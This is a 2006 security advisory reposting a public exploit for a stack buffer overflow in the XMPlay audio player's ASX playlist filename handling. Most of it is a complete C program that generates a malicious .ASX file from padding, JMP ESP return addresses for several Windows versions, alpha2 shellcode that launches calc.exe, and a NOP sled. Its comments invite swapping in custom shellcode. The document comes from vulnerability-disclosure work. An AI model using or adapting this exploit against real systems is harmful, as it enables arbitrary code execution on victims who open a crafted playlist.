[EXPL] XMPlay ASX Filename Buffer Overflow (Exploit)
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- Date: 22 Nov 2006 16:06:25 +0200
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XMPlay ASX Filename Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
XMPlay is an audio player, supporting the different audio formats, and
playlists.
XMPlay experience a stack-based buffer overflow due to mishandling of ASX
file names.
DETAILS
Vulnerable Systems:
* XMPlay version 3.3.0.4 and lower.
Exploit:
/*
-==================================================================
0-day XMPlay 3.3.0.4 .ASX Filename Buffer Overflow Exploit
-==================================================================
XMPlay 3.3.0.4 and lower experience a stack-based buffer overflow when
loading malformed .ASX files
This merely executes CALC.exe but you could always add your own custom
shellcode (alpha2)
-==============
ASX
<ASX VERSION="3">
<ENTRY>
<REF HREF="file://[EXPLOIT HERE]"
</ENTRY>
</ASX>
-==============
Reported Exploit Date: 11/21/2006
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
FILE *Exploit;
char buffer[512];
/* Executes Calc.exe Alpha2 Shellcode Provided by Expanders
<expanders[at]gmail[dot]com> */
unsigned char scode[] =
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM"
"5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp"
"LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip"
"sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA";
char NOPSled[50];
char tail[] = ".mid\x22\r\n";
int JMP, x;
printf("\n======================================================================\n");
printf("XMPlay 3.3.0.4 and prior ASX Filename Buffer Overflow
Exploit\n");
printf("Discovered and Coded By: Greg Linares
<GLinares.code[at]gmail[dot]com>\n");
printf("Usage: %s <output ASX file> <JMP>\n", argv[0]);
printf("\n JMP Options\n");
printf("1 = English Windows XP SP 2 User32.dll <JMP ESP
0x77db41bc>\n");
printf("2 = English Windows XP SP 1 User32.dll <JMP ESP
0x77d718fc>\n");
printf("3 = English Windows 2003 SP0 and SP1 User32.dll <JMP ESP
0x77d74adc>\n");
printf("4 = English Windows 2000 SP 4 User32.dll <JMP ESP
0x77e3c256>\n");
printf("====================================================================\n\n\n");
if (argc < 2) {
printf("Invalid Number Of Arguments\n");
return 1;
}
Exploit = fopen(argv[1],"w");
if ( !Exploit )
{
printf("\nCouldn't Open File!");
return 1;
}
memset(buffer, 0, 505);
memset(NOPSled, 0, 20);
fputs("<ASX VERSION=\x22\x33\x22>\r\n<ENTRY>\r\n", Exploit);
fputs("<REF HREF=\x22", Exploit);
fputs("file://C:\\", Exploit);
for (x=0;x<498;x++) {
strcat(buffer, "A");
}
fputs(buffer, Exploit);
if (atoi(argv[2]) <= 0) {
JMP = 1;
} else if (atoi(argv[2]) > 4) {
JMP = 1;
} else {
JMP = atoi(argv[2]);
}
switch(JMP) {
case 1:
printf("Using English Windows XP SP2 JMP...\n");
fputs("\xbc\x41\xdb\x77", Exploit);
break;
case 2:
printf("Using English Windows XP SP1 JMP...\n");
fputs("\xfc\x18\xd7\x77", Exploit);
break;
case 3:
printf("Using English Windows 2003 SP0 & SP1
JMP...\n");
fputs("\xdc\x4a\xd7\x77", Exploit);
break;
case 4:
printf("Using English Windows 2000 SP 4
JMP...\n");
fputs("\x56\xc2\xe3\x77", Exploit);
break;
}
fputs(scode, Exploit);
for (x=0;x<20;x++) {
strcat(NOPSled, "\x90");
}
fputs(NOPSled, Exploit);
fputs(tail, Exploit);
fputs("</ENTRY>\r\n</ASX>\r\n", Exploit);
printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);
printf("Exploit Coded by Greg Linares
(GLinares.code[at]gmail[dot]com)\n");
printf("Greetz to: Jerome Athias and Expanders - Thanks For The
Ideas, Tools and Alpha2 Shell Code\n");
fclose(Exploit);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/2824>
http://www.milw0rm.com/exploits/2824
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